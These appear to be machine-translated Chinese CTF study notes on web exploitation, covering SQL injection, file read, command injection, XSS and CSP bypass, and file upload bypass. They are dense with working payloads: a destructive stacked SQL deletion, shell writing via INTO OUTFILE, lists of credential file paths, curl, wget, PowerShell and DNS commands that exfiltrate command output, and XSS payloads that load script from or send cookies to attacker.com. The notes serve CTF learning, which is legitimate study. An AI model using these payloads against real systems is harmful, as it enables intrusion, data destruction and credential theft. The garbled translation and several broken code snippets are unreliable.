If there is a master who wants to communicate, welcome to add me on qq1210078968 and make progress together
ctfer from 0 to 1
- getting started with the web
- WEB Advanced
-
- SSRF vulnerability
- command execution vulnerability
- The magic of XSS
- WEB file upload vulnerability
-
- Basic file upload vulnerability
- Truncate Bypass Upload Limit
- File suffix blacklist check bypass
- File suffix whitelist check bypass
- file access bypass
- Bypass image verification to achieve code execution
- Upload generated temporary files using
- Use file_put_contents to implement file upload
- Upload issues with ZIP uploads
- WEB Expansion
- AWD
- range penetration
getting started with the web
information collection
- sensitive directory
- sensitive backup files
- Banner recognition
sensitive directory
git leak
- Regular git leaks
- git rollback
git reset
command, reverting to a previous version
orgit log -stat
git diff HEAD commit-id
- git branch
Use gitHacker
git log --all
git branch -v
git reflog
to view checkout records
View other branches - Git leaks other exploits.
The .git/config folder may contain access_token information
SVN leak
If the administrator’s operation is not standardized, the svn hidden folder will be exposed to the external network, and
the .svn/entries or wc.db file will obtain the server source code
HG Leaked
hg will create a .hg hidden file in the current folder, including information such as code and branch modification records
sensitive backup files
gedit backup file
Under Linux, after saving with the gedit editor, a ~
file with a suffix will be generated in the current directory
vim backup file
See backup file .swp
for
regular file
robots.txt ------ record directory and cms information
readme.md ------------ record cms information and even github address
www.zip/rar/tar.gz ------ --Source code backup
I have seen a source code backup of a.zip.
The compressed package of the website domain name may also be a backup.
Banner recognition
Self-collect fingerprint library
Yun Xi
use existing tools
Wappalyzer
browser plugin
error message
When jumping, 302 404 will be displayed when debugging
SQL injection in CTF
sql injection basics
Numeric injection and UNION injection
Only the main statement is written here
$res = mysqli_query($conn,"select title ,content from wp_news where id = ".$_GET['id']);
Use addition, subtraction, multiplication and division operations for verification
That is: id = 3-1 or id = 2
combined query words
select title,content from wp_news where id =1 union select user pwd from wp_user
This function is to query the data of the title content field of the news table id = 1, and jointly query the entire content of the user pwd in the user table
%20 is the encoding format of the space URL
If the display is limited, you need to report an error, or limit 1,1
limit is a conditional limit, the function is to get a record after the first record in the query result, that is, pwd and user
How to know the structure of the database?
After mysql 5.0, it comes with information.schema to store all mysql database names, table names, field names,
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
The table_name field is the table name field of the tables table of the information_schema library. There is also a database name field table_schema in the table, and the content returned by the database() function is the name of the current database. The columns table is the
same
Character Injection and Boolean Blind Injection
In mysql, if the types on both sides of the equal sign are different, a forced conversion will occur.
- When comparing numbers to string data, the strings will be converted to numbers
- The string 1 is equal to the number, the string 1a is coerced to 1 and the string a is coerced to 0
'1'=1 '1a'=1 'a'=0
The encoding of the space is %20
#The encoding is %23
Boolean Blind
that is
id='1' and True或者是False
If the and is false, the page will not be returned, and if the and is true, the page will be returned.
Then the guess is
id='1' and ‘f’='你猜测的'
Of course, we can use < >
etc. instead of =
to speed up, that is, dichotomy
. The above situation is applicable to single characters, but most of the data in the database is not a single character, so
how to get each bit of data?
Using the functions that come with MYSQL
substring(),mid(),substr()
For example substring("123",2,1)
The output result is 2
mid("abcde",1,1)
and the result is a
substr("12345",1,1)
results in 1
Obtain through blind injection and
intercept the first digit at the same time
Use the statement
select MID((select concat(user,0x7e,pwd) from wp_user),1,1)
Error injection
As long as the sql statement is triggered, the error message can be seen on the page. This is called error injection.
$res = mysqli_query($conn,"select title,content from wp_news where id =' ".$GET['id'] or VAR_DUMP(mysqli_error($conn))")
$ row = mysqli_fetch_arrary($res)
echo $row['title']
According to the data, when updatexml is executed, the second parameter should be a legal XPATH parameter, otherwise it will output the incoming parameters while causing an error.
In this case,1' or updatexml(1,concat(0x7e,(select pwd from wp_user)),1) %23
The second parameter will output
In addition, when multi-statement execution is enabled, it is called stack injection
try{
foreach($db->query($sql) as $row){
print_r($row);
}
}
catch(PDOException $e){
echo $e->getMessage();
die();
}
1';delete from wp_files;
The above injection priority:
union "Error Reporting" Boolean "Time Blind Injection"
injection point
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr, ...
[INTO OUTFILE 'file_name' export_options | INTO DUMPFILE 'file_name']
FROM table_references
[WHERE where_definition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_definition]
[ORDER BY {col_name | expr | position}
[ASC | DESC] , ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[FOR UPDATE | LOCK IN SHARE MODE]]
From the grammatical point of view of sql statement, from different injection points, describe the skills of sql injection
The injection point is in select_expr
The key statement is as follows
$mysqli_query($conn,"select ${_GET['id']},content from wp_news")
You can use the AS alias. After knowing which one it displays, set the alias for the data we want to query and display it directly.
id=(select +pwd+from+wp_user)+as+title
Then, where there is title output as follows, it will be output
The injection point is at table_reference
$res = mysqli_query($conn,"select title from ${_GET['table']}");
Still use the alias, get the content directly
For example,
select title from (select pwd as title from wp_user)x
x represents the table name
Of course, if we do not know the table name, we can first query the table name from information_schema.talbes
If there is a backtick wrapped in the injection, then we first need to close the backtick.
The injection point is after WHERE or HAVING
most common place,
$res = mysqli_query($conn,"select title from wp_news where id = ${_GET[id]}");
The injection point is after GROUP BY or ORDER BY
$res = mysqli_query($conn,"select title from wp_news GROUP By ${_GET['title']}");
Then use title = id desc,(if(1,sleep(1),1))
will delay the page for 1 second, then time injection can be performed
The main reason for the injection in this section is that there is no precompilation, as long as the input value is whitelisted, this injection is basically defended
Injection point after LIMIT
It is relatively simple. By changing the size of the number, it will display more or fewer records. Due to grammatical restrictions, it can only be a number. In the case where the sql statement does not have an order by, union injection can be used
We can also use PROCEDURE to inject according to the select syntax
select id from wp_news limit 2 procedure analyse(extractvalue(1,concat(0x3a,version())),1);
can also be injected based on time
procedure analyse((select extracvalue(1,concat(0x3a,(IF(MID(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
BENCHMARKde statement processing time is 1 second.
BENCHMARK(count,expr) repeats the expression expr count times
In certain cases with write permissions, you can also use into OUTFILE
statements to write shells to the web, and you can control part of the content when you cannot control the content of the file
select xx into outfile "/tmp/xx.php" LINES TERMINATED BY '<?php phpinfo();?>'
INSERT injection
Usually the injection point is located at the field name or field value, and there is no echo information
The injection point is at tbl_name
If you can annotate subsequent statements with annotations, you can insert specific data into the desired table, such as the administrator table, etc.
$res = mysqli_query($conn,"INSERT into {$_GET['table']} values(2,2,2,2)");
Here because you can control the table name,
we enter
table=wp_user values(2,'newadmin','newpass') #
The new admin will be inserted successfully
The injection point is at VALUES
Suppose the statement is
insert into wp_user values(1,1,’可控位置')
At this time, you can close the single quotes and insert another record. Usually, administrators and ordinary users are in the same table, and administrator permissions are controlled through table fields.
insert into wp_user values(1,0,'1'),(2,1,'aaa');
If the second field of the user table represents administrator privilege identification, it can be inserted
.
In some cases, we can also insert fields that can be echoed to quickly obtain data. We assume that he can output the last one
can do this
insert into wp_user values(1,1,'1'),(2,2,(select pwd from wp_user limit 1 ));
UPDATE injection
It is used to update database records, such as users modifying their own articles, introducing information, updating information, etc.,
When the id is controllable, multiple field data can be modified
update wp_user set id=3,user='xxx' user = ‘23’
DELETE injection
He is mostly after where,
$res = mysqli_query($conn,“delect from wp_news where id = {$_GET['id']}”);
The function of the DELETE statement is to delete all or the data in a specified row of a table. When injecting the id parameter, a little carelessness will cause the where value to be true and all the data in wp_news will be deleted. In order to ensure that the data will not be disturbed
,
The usual and sleep(1)
way to ensure where is returned is false so that the statement cannot succeed
Inject and defend
Talk about defense methods and bypass injection methods, provide ideas, not references for injection books
character replacement
Only whitespace is filtered
for example
$id = str_replace(" ","",$sql);
We can use
%0a,%0b,%0c,%0d,%09,%a0
them all to be URL encoded, %a0 can only be used in a specific character set
, and /**/ combinations, brackets, etc.,
replace select with empty
You can use nested
SELSELECTECT
case match
SelEct
regular match
Regular matching \bselect\b
we can use to /*50000select*/
bypass
When the MySQL version is greater than or equal to 50000, that is, the version is greater than or equal to 5.0, then the comment will be parsed into code.
/*!from*/
It can be executed, the middle 50000 is not written, and the minimum version should be the default.
Replaced single or double quotes, forgot the backslash
for example
$sql = "SElect * from wp_news where id = '可控1' and title = '可控2'"
can be constructed like this
$sql = "select * from wp_news where id = 'a\' and title =' or sleep(1)#' "
Because of the backslash, the second single quote escapes and sleep is executed
escape quotes
Generally, the global addslashes are uniformly escaped single quotes and backslashes
encode decode
urldecode, base64_decode or a custom encryption and decryption function, when the user enters the addslashes function, often because of the encoding status, the quotation marks cannot be escaped, and it also exists in the conversion of the character set
Unexpected entry point
The uploaded file name, httpheader, $_SERVER['PHP_SELF']
and other variables may be forgotten
secondary injection
Trust that data fetched from the database is harmless
string truncation
If he is limited to no more than 10 characters,
$title = substr($title1,0,10);
$sql = "INSERT into wp_news values(2,'title','$content')"
Assuming that the attacker enters
aaaaaaaaa'
exactly ten,
then the last one will be escaped, but it
aaaaaaaaa\
will escape his preset single quotes, then the content can be injected
&content = ,1,1),(3,4,(select pwd from wp_user limit 1),1) #
Two new columns have been added to wp_news,
so the combined statement is this
insert into wp_news values(2, 'aaaaaaaaa\',',1,1),(3,4,(select pwd from wp_user limit 1),1)#')
The effect of infusion
- When you have write permission, into outfile or dumpfile writes files to the web directory
- When the file can be read, load_file() reads the source code and configuration information of the website,
- Elevate privileges, gain higher user privileges, administrator privileges,
- Obtain permissions by controlling files such as templates and caches, or delete read files
- control the entire database,
- Databases such as sqlserver can directly execute system commands
Arbitrary file read vulnerability
Common trigger points for file reading vulnerabilities
web language
PHP
PHP reads files:
file_get_contents()
file()
fopen()[and its file pointer operation functions fread(), fgets(), etc.]
The functions contained in the file include
include ()
require ()
include_once ()
require_once ()
and execute the command
system ()
exec () through php, etc.
The php extension also provides some functions for reading files
For example,
php-curl扩展
the content of the file is used as the HTTP body
PHP is different from other languages. PHP provides users with a way to open files, which is a file stream. The
most distinctive feature is the php:// protocol.
In addition to wrapper php, another feature mechanism is Filter
, which processes streams, (such as full variable uppercase)
Both of these can be disabled via php.ini
The actual situation that the php file contains is
- The file path is controllable in the front and uncontrollable in the back
- The back of the file path is controllable, but the front is uncontrollable
- The middle path of the file is controllable.
\x00
In the first case, truncation can be used for lower versions of PHP.
The corresponding URL encoding is %00.
When the server has an upload function, we can also try zip or directly include the file with the phar protocol, and then execute the php code
In the second case, ../
files can be read through and directory traversal. In this case, Wrapper cannot be used. If the server uses files such as include to contain functions, we will not be able to read the php code in the php file.
The third situation is similar to the first one, and Wrapper cannot be used for inclusion
python
Different from php, python's web application is more inclined to start the service through its own module. At the same time, with middleware, the proxy service gives the entire WEB to the user, so unexpected occurrences are prone to occur.
Vulnerabilities often appear in the part of the framework that requests static resource files, that is, the open function, but the direct cause of the vulnerability is often because the framework developer ignores the characteristics of python, such as the os.path.join() function
>>> os.path.join("/a","/b")
'/b'
Many developers judge whether to include .
to ensure that the user will not traverse the directory, and then bring the input into the second parameter of os.path.join. If the user passes in, /
enter the root directory
java
In addition to its own FileInputStream, the file reading caused by XXE, some modules of java also support the file:// protocol,
ruby
Arbitrary file reading for ruby is usually associated with the rails framework,
Common vulnerability is
Ruby on rails (CVE-2016-0752)
node
The node js express module used to have an arbitrary file reading vulnerability
(CVE-2017-14849)
CTF, common in template injection, code injection
Middleware/Server Related
Different middleware, the server also has a file reading vulnerability
ngnix misconfiguration
Common in ctf, especially python-web
location /static{
alias /home/myapp/static/;
}
In this case, the user can access the static directory, but if the user requests
/static../
splicing to the alias, it becomes a directory traversal at /home/myapp/static/../
this time and the traversal to myapp
the next,
tips:
The cause of the vulnerability is that there is no /
restriction added at the end of the location, and
it should be changed become/static/
database
There are many databases that can be read, here is MYSQL as an example
load_file() function
But this reading file requires the database to configure FILE permissions, and secondly, the user group needs to have readable permissions for the target file (many configuration files are readable by all users),
Under the Linux system, Apparmor also needs to configure the directory whitelist, (the default whitelist limit is in the MYSQL related directory)
There is also one
that requires a complete sql statement
load data infile,
which requires file permissions, which is relatively rare.
soft link
The bash command can be used ln -s
to create a soft connection of a specified file, and then we upload the soft connection file to the server, and accessing this link file is equivalent to requesting the file pointed to by the server
FFmpeg
Docker-API
DockerApi can control the behavior of Docker. It communicates through Unix Socket, and can also communicate directly through HTTP. When encountering SSRF, you can use DockerAPI to load local files into a new Docker container for reading (ADD, COPY operations)
Client related
The client also has file reading vulnerabilities, generally based on xss
Browser/Flash XSS
The browser will prohibit js from reading files. If js uses the file protocol to read, it will generally return cross-domain
MarkDown syntax analysis XSS
MarkDown can parse js, and there are few restrictions on it by the same-origin policy
Common read paths for file read vulnerabilities
Linux
flag name (relative path)
../../../../../../../../../../flag(.txt|.php|.pyc|.py)
flag(.txt|.php|.pyc|.py)
[dir_you_know]/flag(.txt|.php|.pyc|.py)
../../../../../../../../../etc/flag(.txt|.php|.pyc|.py)
../../../../../../../../../tmp/flag(.txt|.php|.pyc|.py)
../../../../../../../../../root/flag(.txt|.php|.pyc|.py)
../../../../../../../../../home/flag(.txt|.php|.pyc|.py)
../../../../../../../../../root/[user_you_know]/flag(.txt|.php|.pyc|.py)
../flag(.txt|.php|.pyc|.py)
Server information (absolute path)
1.
Under the /etc directory etc are mostly various system applications and system configuration files, so it is very important
2. /etc/passwd
is a file in which LInux saves user information and its working directory. The permission is readable by all users. It is
generally used as a benchmark for judging the existence of file reading vulnerabilities.
3. /etc/shadow
Linux saves user information and password (hash) files. The root user can read and write, and the shadow group can read,
so generally this file cannot be read .
4. /etc/apache2/*
Apache configuration files can be Or web directory, server port and other information,
5. /etc/nginx/*
Nginx configuration file, know the web directory, server port and other information
6. /etc/apparmor(.d)/*
Apparmor configuration file, know each application System call white list, black list,
for example
configuration file can check whether mysql system call is disabled, so as to determine whether to try UDF to execute system command
7, /etc/(cron.d/*|crontab)
timed task file,
8.
One of the /etc/environment environment variable configuration files, there may be a large number of directory leaks in the environment variables, and there may even be secret key leaks
9. /etc/hostname
indicates the host name
10. /etc/hosts
host query static table, including the paired information of the specified domain name resolution IP. Through this file, the network card information and intranet IP information can be detected
11. /etc/issue
designation system version
12. /etc/mysql/*
MYSQL configuration file
13. /etc/php/*
PHP configuration file
14. /proc directory
The directory usually stores various information about the dynamic operation of the process. It is essentially a virtual directory.
If you want to view non-current processes The information can be cracked by brute force through pid. If you want to view the current process, you only need to replace /proc/[pid] with /proc/self/. The corresponding cmdline can read sensitive information, such as using mysql
-u
-p When logging in,
it will display the plaintext password
/proc/[pid]/cmdline
/proc/[pid]/cwd
cwd, which can jump to the directory of the current application.
/proc/[pid]/environ
There may be secret_key in the environment variable.
15. Other directories
nginx configuration files may exist in other paths
/usr/local/nginx/conf/*
Source code installation or other problem-solving ideas
Log files
/var/log/*
often appear in apache2 web applications that can read /var/log/apache2/access.log to analyze logs and steal other players’ solutions Question ideas
Apache default web root directory
/var/www/html/
PHPsession directory
/var/lib/php(5)/sessions/
user directory
[user_dir_you_konw]/.bash_history(泄露历史执行命令)
[user_dir_you_konw]/.bashrc(部分环境变量)
[user_dir_you_konw]/.ssh/id_rsa(.pub)(ssh登录私钥/公钥)
[user_dir_you_konw].viminfo (vim使用记录)
Windows
There is a problem with the combination of windows and php, you can use "<" and other symbols as wildcards
File Read Vulnerability Example
Soldiers are cunning (HCTF 2016)
WEB Advanced
SSRF vulnerability
(temporarily omitted, the previous ssrf-lab part adopts here)
command execution vulnerability
Usually, developers use functions that execute commands without checking user input
.
- Get the flag skillfully
- Rebound the shell and enter the intranet
- Take advantage of the author's lack of strict control over permissions, and have control over the environment. It
is generally called remote command execution
RCE (remote command exec)
The principle and test method of command execution
Principle of command execution
In various programming languages, in order to facilitate program processing, there are usually various functions that execute external programs. When the function is called to execute commands and the input is not filtered, malicious commands are injected, causing great harm.
php system example
<?php
$id = $_GET['d'];
system("echo" . $dir); //执行echo程序将传入的参数字符串输出到网页
What parameters do we pass to D, and what will the web page output?
When d becomes for test %26%26 whoami
the output result, it
is equivalent && whoami
to using url encoding&
&&
Represents the and syntax in various programming languages
(表达式1)and(表达式2)
When both sides are true, it will return true. Similar syntax is also or
used ||
to indicate
that they are lazy.
In the and syntax, if the first expression is false, the second expression will not be executed
. In the or syntax, if the first expression is true, the second expression will not be executed
Command Execution Basics
Understand the similarities and differences of the rules of the cmd.exe bash
program when parsing commands, linux windows
escape character
cmd.exe and bash can parse many special characters, they can make BAT script and Bash script processing more convenient, but if you want to remove the meaning of the escape character, you need to escape the
Windows escape character is ^
the Linux escape character is\
Multiple command execution
In command injection, it is usually necessary to inject multiple commands to amplify the damage. The following is a string that can constitute multiple commands
Windows下:&& || %0a
Linux 下 : && || ; $() `` %0a %0d
Under Linux, $() 和 ``
the wrapped string will be executed as a command,
but the string wrapped in single quotes is a pure string without any parsing
comment symbol
Windows comment symbols are mostly used ::
in Bat batch scripts, and
Linux comment symbols are #
mostly used in bash scripts
Basic tests of command execution
In the face of unknown command injection, it is best to confirm the command injection point and blacklist rules through various FUZZ, the general command format is as follows to build the fuzz list
程序名1 -程序参数名1 参数值1 && 程序2 -程序参树名2 参数值2
as an exampleping -nc 1 www.baidu.com
程序名:ping
参数: -nc
参数值 1和www.baidu.com
程序名和参数值之间的字符串 : 空格
整个命令
Parameter values are sometimes complex and may be partially controllable. They are wrapped in double quotes and single quotes, and additional quotes need to be injected to escape.
For example,
fuzz list
&& curl www.vps.com &&
`curl www.vps.com`
;curl www.vps.com;
After inserting the fuzz list into the command point, check the web log to see if there is a vulnerability
Command Execution Bypasses and Tricks
missing spaces
e.g. PHP
<?php
$cmd = str_replace("","",$_GET['cmd'])
%20 is a space
We can use burp suite
%00~%ff
to test the characters in the range, and we can find that other strings can be used to bypass such %09,%0b,%0c
as
under Windows
For example, the command is as follows ,
%ProgramFiles:~10,1%
which ~
is equivalent to the interception character, which means to obtain the value of the environment variable %ProgramFile%, which is generally C:\Program Files. So the above command means starting from the tenth and getting a string, that is, a space
under Linux
Some ways to bypass spaces in linux
$IFS$9
are valid for Bash, but invalid for zsh and dash
{cmd,args}
. When reading a file:
cat<>flag
========================================================
$IFS$9
There is an IFS environment variable in Linux, (Internal Field Separator), which is the internal field separator, which defines the command interval character of the bash shell, usually a space. Note that when there is only injection, the result of the executed command is parsed, so the variable $IFS
does echo$IFSaaa
not $IFSaaa
exist , so spacers are needed to avoid, usually used $9
, indicating the ninth parameter of the shell process of the current system, usually an empty string,
of course you can use
${IFS}
Or on some platforms, inject by modifying the IFS variable to a comma,
ie;IFS=,;
blacklist keywords
If we intercept fields such as cat flag, we can
variable splicing
Linux:a=c;b=at;c=he;d=llo;$a$b ${c}${d}
Execute cat hello here
use wildcards
?
Represent any string in the wildcard , *
represent any string
cat /tm?/fl* (linux)
type fla*(windows)
Borrow an existing string
If the waiting string is disabled <>?
, you can borrow the string in other files and use the substr() function to intercept a specific character. This
is how awk is used, and NR stands for line
Execute without echo
In CTF, it is often encountered that the results of command execution are not displayed on the web page.
Before starting, you can build a VTest platform
http://github.com/opensec-cn/vtest
to facilitate testing .
The test code is as follows
<?php
exec($_GET['cmd']);
HTTP channel
Assuming your domain name is example.com, the following is an example of obtaining the current user permissions.
Under Windows, you can only take out through relatively complicated commands (if Windows supports linux commands, it is convenient for takeout)
for /F %x in ('echo hello') do start http://example.com/httplog/%x
Through the for command, the result of echo hello execution is stored in the %x variable, and then spliced to the URL
Defect calls the browser and cannot be closed. When encountering special characters and spaces, there will be truncation, so use powershell to handle it.
Under Powershell2.0, execute the following command
for /F %x in ('echo hello') do powershell $a = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b = New-Object System.Net.WebClient;$b.DownloadString('http://example/httplog/'+$a);
This is the execution result of echo hello, encode it in bas64, and then send it through a web request
Under Linux, because of the existence of the pipe character, it is extremely convenient to transfer data, using curl,wget
programs
such as
curl example.com/`whoami`
wget example.com/$(id|base64)
DNS channel
Usually, ping is used to test dns for data outbound. The parameters of ping are somewhat different between linux and windows.
For example,
win -n
limits the number of pings
and linux -c
limits the number of pings.
For compatibility, we can use it together!
ping -nc 1 test.example.com
under Linux
ping -c 1 `whoami`.example.com
It is relatively complicated under Windwos.
Use the delims command to split and process, and finally splice it in front of the domain name, and use Ping to take it out.
获取计算机名字
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.example.com
获取用户名
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.example.com
time blind
The main use &&和||
of inertia, using time blind injection, using the sleep function under linux, using time-consuming commands under windows,ping -n 5 127.0.0.1
Write to file, return twice
Sometimes because the network is not good, time reading data is extremely slow, we can consider, execute the command, write it into the web directory, and then access the file through the web, for example, import the result into the WEB directory through redirection >
,
http://xxxxx/3.php?cmd=whoami>test
access
http://xxxxx/test
Command execution real problem explanation
The magic of XSS
Cross-Site Scripting (Cross-Site Scripting, XSS) is a security vulnerability attack on a website application, a type of code injection, allowing malicious users to inject code into web pages, and other users viewing web pages are affected. This type usually includes html and user Client-side scripting language
XSS attacks usually take advantage of the loopholes left by webpage development, and cleverly inject malicious instruction codes into webpages to make users load them. These malicious webpage programs are usually JavaScript, but they can include java, vbscrpit, activeX, FLash or ordinary html.
Types of XSS vulnerabilities
Reflected/stored XSS
According to the triggering characteristics of xss vulnerability points, XSS is divided into reflective XSS and stored XSS. Reflective XSS usually refers to the fact that the malicious code is not stored by the server. Every time a vulnerability is triggered, the malicious code is submitted through GET/POST , and trigger the vulnerability. Storage is the opposite. Malicious code is triggered when the server stores and accesses the page, (message boards and the like)
Second
, when the input data is spliced into the HTML content, it is sometimes input into some special positions, such as tag attributes, and the value of JavaScrpit variables. At this time, the escape of payload can be realized by closing tags or statements. For example: through tag
attributes Injecting the on event can execute malicious code.
onfocus=“alert(1)”
In the third case, our input is output to a javaScript variable. At this time, we can construct the input, close the preceding double quotes, and introduce malicious code at the same time.
<?php
$name = $_GET['name'];
<body>
<script type = "text/javascript">
var username = "<?=$name?>";
document.write("hello".username);
</script>
</body>
At this point, we enter aaa"%2balert(1)
%2b is +
the above three are the simplest scenarios in xss
DomXss
After the original javaScript code is executed, it is necessary to add DOM tree nodes, or modify elements, and introduce polluted variables, resulting in XSS. The function of the following code is to obtain the image link
in
the imgurl
parameter, and then splicing an image tag and displayed on the web page.
<script type="text/javascript">
function getUrlParam(name){
var reg = new RegExp("(^|&)"+name+"=([^&]*)(&|$)")
var r = window.location.search.substr(1).match(reg);
if(r != null) return decodeURI(r[2]);return null;
var imgurl = getUrlParam("imgurl");
var imagehtml = "<img src='"+imgurl+"'/>";
</script>
We can see that the code is finally spliced into the img tag and executed.
other scenes
The key to determine whether the uploaded file can be parsed into HTML code by the browser is the element Content-Type in the HTTP response header, so no matter what the suffix of the uploaded file is saved on the server, as long as the uploaded file is accessed, it returns If it is text/html, it can be successfully parsed and executed by the browser. Similarly, the application/x-shockwave-flash of the flash file can also execute xss
In fact, the browser will parse the request response as html content by default, such as empty and malformed content-type, due to differences between browsers, it needs to be tested, such as chrome, which is empty, will be consideredtext/html
XSS tricks
Labels that can be used to execute xss
Basically all tags can be on事件
used to trigger malicious code, for example,
<h1 onmousemove="alert('move!')">this is title</h1>
another commonly used one is <img src=x onerror="alert(1)"/>
other common tags as follows
<script src="http://attacker.com/a.js"></script>
<script>alert(1)</script>
<link rel="import" href="http://attacker.com/1.html">
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">click</a>
<svg/onload=alert(1)>
HTML5 feature xss
html5 feature reference http://html5sec.org
The on event trigger of many tags requires interaction, such as mouse over and click. The reference to
<input onfocus=write(1) autofocus>
the input tag autofocus属性
will automatically focus the cursor here, and it can be triggered without exchanging u. onfocus事件
Two input elements compete for focus. When the focus is on another input element, the previous one will triggerblur事件
<input onblur=write(1) autofocus><input autofocus>
Pseudo protocol and xss
javascript:void(0)
We often see that this is javascript伪协议
implemented on the page
. If you click manually, or when javascript execution on the page jumps to the javascript pseudo-protocol, the browser will not lead us to visit this address, but put javascript: behind That piece of content is executed as javascript code and executed directly on the current page.
So for such a tag,
<a href="javascript:alert(1)">click</a>
the stand-alone tag will not jump to other pages, but execute alert(1) on the current page
except directly using the a tag list There are many ways to trigger the javascript protocol.
For example, when the javascript protocol performs a page jump, the jump protocol can also be triggered using the javascript pseudo-protocol. The code is as follows
<script type="text/javascript">
location.href="javascript:alert(document.domain)";
</script>
So if in login/logout business exists code like this
<script type="text/javascript">
function getUrlParam(name){
var reg = new RegExp("(^|&)"+name+"=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if(r!=null)
return decodeURI(r[2]);
return null;
}
var jumpurl = getUrlParam("jumpurl");
document.location.href=jumpurl
location.href="javascript:alert(document.domain)";
</script>
That is to say, the address of the jump is controllable by us, and we can control the address of the jump to the javascript pseudo-protocol, so as to realize xss
In addition, iframe tags and form tags also support javascript pseudo-protocols. The difference is that iframe tags can be triggered without interaction. The form tag needs to be triggered when the form is submitted.
<iframe src="javascript:alert(1)"></iframe>
<form action="javascript:alert(1)"></form>
Of course, in addition to the javascript pseudo-protocol, there are other pseudo-protocols that can also achieve effects in iframe tags,
such as the data pseudo-protocol
<iframe scr = "data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="></iframe>
xss caused by secondary rendering
Improper use of jinja2 in back-end languages such as flask may lead to template injection.
XSS filtering and bypassing
There are two main filtering layers: WAF layer, code layer
Rich Text Filtering
For sending emails and writing blogs, tags are essential, such as embedding hyperlinks, pictures need HTML
tags, if blacklist filtering is performed on tags, there will inevitably be omissions, we can find
double-written, uppercase and
lower-case filters without filtering The method can even help us bypass browser xss filtering
output in tag attribute
If there is no filtering, <
>
we can directly introduce new tags, such as onload、onmousemove
etc. When the statement is output to the tag event location, it can be bypassed by html encoding the payload.
You can use burpsuite to encode the payload
<img src=x onerror="alert(1)"/>
and open the browser to trigger
this. The trigger is related to the order of rendering pages brought by the browser. Our payload is in the tag attribute. Before the event is triggered, the browser has decoded the payload once before it can be converted into regular data in the entity encoding
If javascript is filtered, eval(
the following output can be passed
aaa=eval;
aaa("eval code");
The output is in a javascript variable
By closing the javascript statement, the attack statement will escape. At this time, the quotes are escaped to defend against xss.
However, with special scenarios, xss may still be formed. For example, for the following double-input injection,
select * from users where name='输入1' and pass = '输入2‘
if only single quotes are considered and not considered \
then We can consider escaping the previous quotation mark of the second statement, so that the first one and the third one are closed,
such as this
select * from users where name = '\' and pass = 'union select xxxxx#'
There is also such a scene in xss
<script type = "text/javascript">
var url = 'http://xxx.com?name=<?$name?>'+'<?=$address?>';
</script>
Because htmlentities will not filter, \
we enter \ in the name
A closure occurs in front of the address variable, and then it is further used to eval(window.name)
introduce malicious code or use String.fromCharCode
characters to avoid filtering such as quotation marks.
There is also a little trick
to hide the payload in location.hash, then #
the characters after in the URL will not be sent to the server, so there is no case of being filtered by the service,
such as
8.php?name=aaa\&addr=;eval(unescape(location.hash.slice(1)));//#alert('payload hide in hash')
Backticks can also be used as string delimiters in javascript
8.php?name=aaa\&addr=;alert(`反引号也是可以用来作为边界符的`);//
CSP filtering and its bypass
CSP (Content Security Policy) content security policy, an additional security layer, used to detect and weaken certain types of attacks, including xss
CSP is designed to be fully backward compatible, browsers that do not support csp can also be compatible with csp The server cooperates normally, and vice versa. Browsers that do not support csp ignore it and run normally. The default web content uses the standard same-origin policy. If the website does not provide the csp header, it also uses the standard same-origin policy.
In order to use CSP, configure the web server to return content-security-policy http头部
the In addition <meta>
element can also be used to configure the policy
The csp strategy is to add some additional browser rendering pages and execute js rules. This rule is executed at the browser layer, as long as the configuration service returns the content-security-policy header. For
example
<?php
header('Content-Security-Policy: script-src *.baidu.com');
?>
This code will stipulate that the js file referenced by this page is only allowed to come from Baidu's subdomain, and any other method of js execution will be blocked, including the code in the script tag of the page itself. If a js file from an untrusted domain is referenced , an error will be reported in the console.
Common scenarios and their bypasses
There are many CSP rules, just a simple example.
For example, the CSP rule corresponding to script-src'self'
self allows local files to be loaded. We can write malicious content through the controllable connection of this site,
such as file upload and JSONP interface.
JSONP
The command is bypassed. Assuming that there is a jsonp interface, we can introduce code that conforms to the regular javascript syntax through the jsonp interface.
callback({'status':'success'})
You can pop up a window
alert('bypass csp!');//({'status':'success'})
Some other common bypass methods are as follows
<link rel="prefetch" href="http://baidu.com">h5预加载,仅google支持
<link rel="dns-prefetch" href="http://baidu.com">DNS预加载
When the outgoing data is limited, you can use js to dynamically generate link标签
the data and transmit it to the server, such as bringing out cookies through get parameters
<link rel="prefetch" href = "http://attacker.com/?cookie=xxxx">
There is also the use of page jumps, including a tag jumps, location variable assignment jumps, meta tag jumps, etc., to bring out data through jumps
location.href="http://attacker.com/?c="+escape(document.cookie)
XSS bypass case
WEB file upload vulnerability
For basic file upload, see my video explanation at station b.
https://www.bilibili.com/video/BV1Ka4y1a7Ln
This chapter summarizes file uploads not covered in the video.
Basic file upload vulnerability
Truncate Bypass Upload Limit
00 truncated
php upload
When uploading, the file is x.php\00.jpg
tips:
There is a 00 truncation problem in versions below java jdk7u40
Truncation due to character set conversion
PHP conversion character set usually uses the inconv() function
UTF-8 allows a character range of one byte.
0x00~0x7F
If the converted character is not within this range,
PHP_ICONV_ERR_ILLEGAL_SEQ
an exception will be caused.
When the PHP version is lower than 5.4, the conversion character set can cause truncate. There will be problems with versions above 5.4.
We can use burpsuite to run a wave of suffixes
, such asx.php\x99.jpg
File suffix blacklist check bypass
Upload file with the same name
The common executable suffix of php is php3,php5,phtml,pht
etc.
The common suffix of aps is cdx,cer,asa
etc.
jsp can try jspx
When uploading php file limit, you can bypass it by uploading PHTML file,
The resolvable suffix is different in different environments. If the environment is Windows system,
you can try to wait php,php::$DATA, php.
for the suffix,
